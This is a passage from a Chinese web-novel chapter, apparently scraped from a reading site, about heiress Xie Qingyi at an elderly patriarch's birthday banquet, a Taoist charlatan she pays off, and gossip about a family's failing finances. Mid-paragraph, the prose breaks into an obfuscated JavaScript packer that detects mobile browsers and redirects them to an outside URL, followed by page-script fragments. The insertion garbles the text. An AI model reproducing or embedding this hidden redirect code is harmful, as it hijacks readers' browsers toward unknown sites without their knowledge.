握住手掌的暖意让谢轻意的手指微微颤了颤,也将她抽离的思绪一点点拉回。她扭头看向不知什么时候走到身边的施言,雾胧胧的眼眸带着似刚睡醒的迷离,又一点点地变得清明。 喧嚣声再次传入耳中,周围的一切又变得清晰。谢轻意有种从噩梦中醒来的感觉。她冲施言微微颔首,表示自己还好,没事。 没失态,没失控,还好。谢轻意暗自庆幸。 程侯没把谢轻意往大厅领,而是带她到了旁边的小厅,仿佛什么不愉快都没发生,笑呵呵地大声喊:“你们看是谁来了?就说我的面子大不大?”语气中极尽炫耀。 谢家的这位小祖宗能来他的寿宴,那就是他面子大。 小厅里极热闹,十几个老人家聚在一块儿,有打牌的,有下棋的,还有喝茶聊天的,老年团里年龄最小的看起来也有六七十岁了。每个老年人身旁都有一两个年轻人陪同,其中有三个是施言认识的,一个是商会会长郑功名唯一的孙子郑庆,一个是她的初中同学夏乐乐,她家是开中外合资银行的,还有一个则是茂森资本的第三代掌舵者赵铭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13815212|145979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这三人在本地都属顶级富N代,却没想到,这会儿全在旁边干着端茶倒水的活计,一个个乖顺无比。 小厅里的众人听到程侯的吆喝声,纷纷回头,看到谢轻意,都极意外,一群老人家棋不下了,茶不喝了,天也不聊了,全都起身凑到谢轻意身边,看到她吊着绷带,又七嘴八舌地问她怎么了。 谢轻意刚才还能绷着,待没了围观看热闹和拍视频的,她立即不装了,整个人一下子蔫下来,谁也不搭理,往椅子上一窝,摸出手机发消息调眼线去盯谢甜甜。 她给谢甜甜大排场,派仨!全方位盯死的那种。 她把眼线派出去,心情好了些,一抬头,好嘛,又被老年团包围了。 爷爷奶奶带大的留守儿童,成天混迹老年团,本地但凡有点身家的老年人,谢轻意全认识。 她抚额,抬眼看向程侯:我没得罪你吧?给我安排这地儿。 玉珠子真人葛不缺老先生率先凑近谢轻意:“三刀三劫,才过俩,你还有一劫。小轻意,都说了你是貔貅命格,不要分毛不拔,得多花钱,破财挡灾,你没听葛爷爷的啊。” 谢轻意满脸无语地看着这个神棍。 修道的,以前手腕上戴串佛珠,天天盘。她有一阵子喜欢玩石玉,开了块玻璃种帝王绿翡翠,磨了一串珠子送给他。这位二话不说,当场把佛珠换了下来,把自个儿的名号从玉泉道人变成了玉珠子真人。又说她是貔貅命格,吸财,只进不出,重刑杀,需要散财消灾,散的财越多越好,散到一定程度就能把貔貅命格转为天禄命格,福禄无双。还说她有三刀三劫,全是生死关,阎罗殿前闯一圈,是生是死,就看命硬不硬,财散得够不够。这位三年前还混了个道教协会会长当,还说感谢她的贡献。一问,拿着她捐的钱,给道教事业做出了卓越的贡献,把城外那年代能追溯到汉朝时的一个小破道观给修葺了。说是修葺,事实上是挖出了一块碑,他给溯源到汉末道教刚发展那会儿,弄了个什么苏派祖庭,又跑到特偏远地方拆别人的古屋挪过来,硬生生原地造出个年代久远的古观,开展了旅游业,每年收的门票都不够修葺费用的。 哦,这已经过年了,到明年开春又得修葺扩建了。 谢轻意不用想都知道他要说她还要再挨一刀还有个生死劫。大过年的多不吉利。她拿出手机,问:“多少?” 玉珠子真人比划了个二。 谢轻意直接转了两千万封口费给他。 玉珠子想的是二百万,但看到谢轻意转了两千万,二话不说,把脖子上挂的一块护心镜给了她:“祖师爷送的,以后是你的了。戴上,保平安的,别离身啊。” 谢轻意拿起护心镜一看,铜镶玉的?铜镜油光锃亮黄灿灿的光可鉴人,新铸的。玉料嘛,他哪舍得花钱买,她之前捐的还没用完呢。 别人都说他是高人,谢轻意随大流,把护心镜塞进衣服里,道:“多谢葛爷爷。”两千万换一块几千块就能买的铜嵌玉,她还得道谢。谢轻意自我安慰,捐出去总比留给谢老七两口子好。她现在可大方可慈善了。 夏乐乐来到施言身边,极小声地问:“什么情况,你怎么跟这祖宗一起来了?” 施言小声回道:“我是她堂姐啊,怎么不能一起来?” 别说你一个收养的,亲生的在她这里都不顶事,亲伯伯、亲爹都照样收拾。夏乐乐知道以施言的身家玩不转这盘子,且跟谢家的不是利益共同体,可以拉拢。她将施言拉到一旁,悄声说:“程家的资金链断了,最迟只能拖到年后,急着筹钱救命呢。” 施言“哦”了声,把夏乐乐拉到门外,说:“细说。” 夏乐乐说:“程家这回怎么都得卖点产业项目续命。谢轻意被叫做谢貔貅,只进不出,只赚不赔,她看中的项目就没有亏的……” 施言心下震惊:这么厉害的吗? 她问:“没亏的?” 夏乐乐用手指轻轻点了点自己的头,又示意了下里面:“我爷爷说她就算是疯了,脑子都比别人好使。”她的话音一转,声音极小,向老同学打听:“谢轻意想盘程家的哪个项目?”又悄悄比了个数字。要是这项目,她能掺合进去,给施言这么多返利。 施言:“……”我要是说,我就是恰巧跟她在门口碰到,压根儿不知道你们私下有什么交易,你信不信?